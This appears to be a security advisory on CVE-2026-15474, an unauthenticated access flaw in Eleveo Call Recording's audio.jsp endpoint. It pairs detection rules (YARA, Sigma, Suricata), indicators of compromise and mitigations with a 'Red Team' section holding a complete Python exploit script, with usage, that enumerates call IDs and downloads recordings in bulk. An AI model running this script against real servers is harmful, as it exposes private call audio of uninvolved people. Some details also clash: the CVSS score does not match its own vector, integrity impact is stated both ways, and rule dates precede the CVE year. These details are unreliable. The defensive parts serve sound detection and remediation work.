CVE-2026-15474

Executive Summary

CVE-2026-15474 is an improper authorization vulnerability (CWE-285) in Eleveo Call Recording Software version 9.7.0. The flaw resides in the /callrec/audio.jsp endpoint, where the callId parameter is not properly validated, allowing an unauthenticated remote attacker to access or manipulate call recordings without proper authorization. The vendor has not responded to disclosure, and no official patch is available. Public exploit code has been released, increasing the risk of active exploitation.

Risk Assessment: The CVSS score of 4.3 (Medium) reflects the low complexity and network-based attack vector, but the lack of authentication requirements and public exploit availability elevate the real-world risk. Organizations using Eleveo Call Recording Software should treat this as a high-priority issue.

Affected Ecosystem: This is a proprietary enterprise software vulnerability, not related to WordPress or any open-source package manager.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure (call recordings).
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium (4.3) – However, due to public exploit availability and lack of patch, the effective threat level is High for affected deployments.

Deep Dive & Mechanics

The vulnerability is a classic improper authorization (CWE-285) in the call recording retrieval functionality. The /callrec/audio.jsp endpoint accepts a callId parameter to fetch audio recordings. The application fails to verify that the requesting user has the right to access the specified recording. This allows an attacker to enumerate callId values (e.g., sequential integers) and download any call recording without authentication.

Attack Flow:

1. Attacker identifies the Eleveo server (e.g., via Shodan or internal reconnaissance).
2. Attacker sends a GET request to /callrec/audio.jsp?callId=1.
3. The server returns the audio file for call ID 1 without checking authorization.
4. Attacker iterates through call IDs to exfiltrate all recordings.

Root Cause: The audio.jsp servlet does not implement any session validation or access control checks before serving the audio file. The callId parameter is directly used to fetch the file from the filesystem or database without verifying the caller's identity or permissions.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: No authorization check
String callId = request.getParameter("callId");
String filePath = "/recordings/" + callId + ".wav";
File audioFile = new File(filePath);
// Directly serves the file
response.setContentType("audio/wav");
FileUtils.copyFile(audioFile, response.getOutputStream());

Expected Patched Code (Conceptual):

// Patched: Authorization check added
String callId = request.getParameter("callId");
User user = getAuthenticatedUser(request);
if (user == null || !user.hasAccessToCall(callId)) {
    response.sendError(HttpServletResponse.SC_FORBIDDEN);
    return;
}
String filePath = "/recordings/" + callId + ".wav";
File audioFile = new File(filePath);
response.setContentType("audio/wav");
FileUtils.copyFile(audioFile, response.getOutputStream());

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target Eleveo server (e.g., http://target:8080)
• Python 3 or curl

Exploit Script (Python):

import requests
import sys

def exploit(target, start_id=1, end_id=100):
    for call_id in range(start_id, end_id+1):
        url = f"{target}/callrec/audio.jsp?callId={call_id}"
        response = requests.get(url, stream=True)
        if response.status_code == 200 and 'audio' in response.headers.get('Content-Type', ''):
            filename = f"call_{call_id}.wav"
            with open(filename, 'wb') as f:
                for chunk in response.iter_content(chunk_size=8192):
                    f.write(chunk)
            print(f"[+] Downloaded {filename}")
        else:
            print(f"[-] Call ID {call_id} not accessible")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
        sys.exit(1)
    target = sys.argv[1].rstrip('/')
    start = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    end = int(sys.argv[3]) if len(sys.argv) > 3 else 100
    exploit(target, start, end)

Usage:

python3 exploit.py http://target:8080 1 500

Blue Team (Defensive)

Lab Setup:

• Deploy a vulnerable Eleveo instance in an isolated network.
• Use Wireshark or tcpdump to capture exploit traffic.
• Monitor logs for repeated /callrec/audio.jsp requests with varying callId parameters.

Detection:

• Look for HTTP GET requests to /callrec/audio.jsp with callId parameter.
• Alert on multiple requests from the same IP within a short time window.
• Monitor for unusual file downloads (audio files) from the server.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /callrec/audio.jsp?callId=<number>
• User-Agent strings from common scripting tools (e.g., python-requests, curl)
• Sequential callId values in logs (e.g., 1, 2, 3, ...)

File IOCs:

• Unexpected .wav files in download directories.
• Large number of audio files downloaded in a short period.

Log IOCs:

• Repeated 200 responses for /callrec/audio.jsp from the same source IP.
• Absence of authentication logs for these requests.

Detection Engineering

YARA Rule

rule CVE_2026_15474_Eleveo_Audio_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2026-15474 in Eleveo Call Recording Software"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-15474"
    strings:
        $s1 = "/callrec/audio.jsp?callId="
        $s2 = "GET /callrec/audio.jsp"
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-15474 Eleveo Call Recording Improper Authorization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-15474
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/callrec/audio.jsp'
        cs-uri-query|contains: 'callId='
    condition: selection
falsepositives:
    - Legitimate administrative access (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-15474 Eleveo Call Recording Improper Authorization"; flow:to_server; content:"GET"; http_method; content:"/callrec/audio.jsp"; http_uri; content:"callId="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Eleveo server from untrusted networks (e.g., place behind a VPN or firewall).
2. Implement a WAF rule to block requests to /callrec/audio.jsp with callId parameter from non-admin IPs.
3. Monitor logs for exploitation attempts and block offending IPs.

Long-term Fix:

• Since no vendor patch exists, consider:
  • Custom patch: Modify the audio.jsp file to add authentication checks (if source code is available).
  • Reverse proxy: Use a reverse proxy (e.g., Nginx) to add authentication before forwarding requests to the vulnerable endpoint.
  • Upgrade: If Eleveo releases a patched version, upgrade immediately.

Workaround:

• Disable the /callrec/audio.jsp endpoint entirely if not needed.
• Restrict access to the endpoint via .htaccess or server configuration.

Valters IT